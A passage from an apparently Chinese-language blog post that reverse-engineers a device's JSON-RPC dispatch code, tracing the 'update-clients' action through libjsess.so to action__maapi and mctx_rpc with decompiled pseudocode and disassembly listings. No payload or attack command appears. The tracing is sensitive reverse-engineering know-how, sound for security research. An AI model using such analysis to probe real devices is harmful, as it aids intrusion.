220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;del_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4u</span>) || !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;u2d_set_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">8u</span>) )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( check_login_status(json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    ret = handle_set_del_rpc_request(json_ctx, (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> *)ret_str, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>);<br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span><br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;action&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">6u</span>) &amp;&amp; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strncmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;u2d_rpc_&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">8u</span>) )<br/>    {<br/>      error(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;ERROR METHOD CASE !!!&#34;</span>);<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    }<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( check_login_status(json_ctx, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">2</span>) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    ret = handle_action_rpc_request(json_ctx, ret_str);<br/>  }<br/>  session_close();<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> ret;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">handle_action_rpc_request</code>函数，它会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc_action_table_by_method</code>函数，根据<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>的内容（样例中是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>）返回对应的处理函数。在获取<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">input</code>对象后，将处理函数<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">p_action</code>对象以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">input</code>参数值，作为参数调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc_action_config</code>去执行<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>调用。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">handle_action_rpc_request</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(ctx *ctx, _DWORD *ret_str)</span><br/></span>{<br/>  ...<br/>  method = ctx-&gt;method;<br/>  params = ctx-&gt;params;<br/>  ...<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">else</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(method, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;action&#34;</span>) &amp;&amp; json_object_object_get_ex(params, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;rpc&#34;</span>, &amp;rpc_json_obj) )<br/>    {<br/>      p_action = &amp;action;<br/>      ...<br/>      rpc_str = json_object_get_string(rpc_json_obj);<br/>      ...<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !jsonrpc_action_table_by_method(&amp;action, rpc_str) )<br/>        p_action = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>      ...<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( json_object_object_get_ex(params, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;input&#34;</span>, &amp;input_param) )<br/>        params = input_param;<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( p_action )<br/>      {<br/>        ret = jsonrpc_action_config((<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)p_action, params, (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)&amp;v17);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">先跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc_action_table_by_method</code>函数看它是怎么获取处理函数的。函数的定义在<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">libjsess.so</code>当中，可以看到它主要是遍历<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action</code>数组，通过<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc_str</code>的值来确定具体是哪个<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action</code>来处理<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>调用。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">jsonrpc_action_table_by_method</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(action *ret_action, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">char</span> *rpc_str)</span><br/></span>{<br/>  ...<br/>    action_table = &amp;json_action_table_ptr;<br/>  action = *action_table;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">memset</span>(ret_action, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sizeof</span>(action));<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span> ( <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span> )<br/>  {<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !action-&gt;name )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">strcmp</span>(rpc_str, action-&gt;name) )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">break</span>;<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( !++action )<br/>      <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span>;<br/>  }<br/>  p_post_handler = &amp;action-&gt;post_handler;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">do</span><br/>  {<br/>    ...<br/>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(128, 128, 128);word-wrap: inherit !important;word-break: inherit !important;">// 拷贝找到的action到ret_action当中</span><br/>  }<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">while</span> ( !v10 );<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">1</span>;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action</code>结构体定以及<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>对应的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action</code>的定义如下，可以确定对应的处理函数是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action__maapi</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000000</span> action          struc ; (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">sizeof</span>=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0x14</span>, mappedto_55)<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000000</span> name            DCD ?                   ; offset<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000004</span> field_4         DCD ?<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000008</span> pre_handler     DCD ?                   ; offset<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0000000</span>C handler         DCD ?                   ; offset<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000010</span> post_handler    DCD ?                   ; offset<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000014</span> action          ends<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00043B</span>D0                 DCD aUpdateClients      ; <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;update-clients&#34;</span><br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00043B</span>D4                 DCD <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span><br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00043B</span>D8                 DCD <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span><br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00043B</span>DC                 DCD action__maapi<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00043B</span>E0                 DCD <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">找到对应的函数后，处理函数会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsonrpc_action_config</code>去处理<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">rpc</code>请求。跟进去该函数，它会调用上面获取的<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action</code>对象中的函数，对于<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">update-clients</code>，则会调用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action__maapi</code>。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">jsonrpc_action_config</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(action *action, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> param_obj, _DWORD *a3)</span>)<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> *)</span><br/></span>{<br/>  ...<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( v7 )<br/>    v7 = json_tokener_parse();<br/>  func = (<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span>)action-&gt;pre_handler;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( func )<br/>    func = func(v6, &amp;v16);<br/>  ...<br/>  pid = getppid();<br/>  info(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;[%d|action|%s] - pre-handler %d.&#34;</span>, pid, action-&gt;name, func);<br/>  handler = action-&gt;handler;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( handler )<br/>    func = handler(v16, v9, &amp;v17);<br/>  ...<br/>  post_handler = action-&gt;post_handler;<br/>  <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">if</span> ( post_handler )<br/>    func = post_handler(v17, a3);<br/>  ...<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">跟进去<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">action__maapi</code>函数，看到它调用了<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">jsess_action</code>，经过跟踪，确定它最终调用的是<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">mctx_rpc</code>函数。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> __<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">fastcall <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">action__maapi</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a1, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> a2, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">int</span> *a3)</span><br/></span>{<br/>  ...<br/>  result = jsess_action(g_h_sess_db);<br/>  ...<br/>}<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044248</span> jmaapi_api      DCD jmaapi_open         ; DATA XREF: LOAD:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00000</span>D6C↑o<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044248</span>                                         ; jsess_set_type:loc_7F48↑o ...<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0004424</span>C                 DCD jmaapi_apply<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044250</span>                 DCD jmaapi_close<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044254</span>                 DCD jmaapi_init<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044258</span>                 DCD jmaapi_get<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">0004425</span>C                 DCD jmaapi_set<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044260</span>                 DCD jmaapi_del<br/>.data:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">00044264</span>                 DCD jmaapi_action<br/><span style="font-size: inherit;line-height: 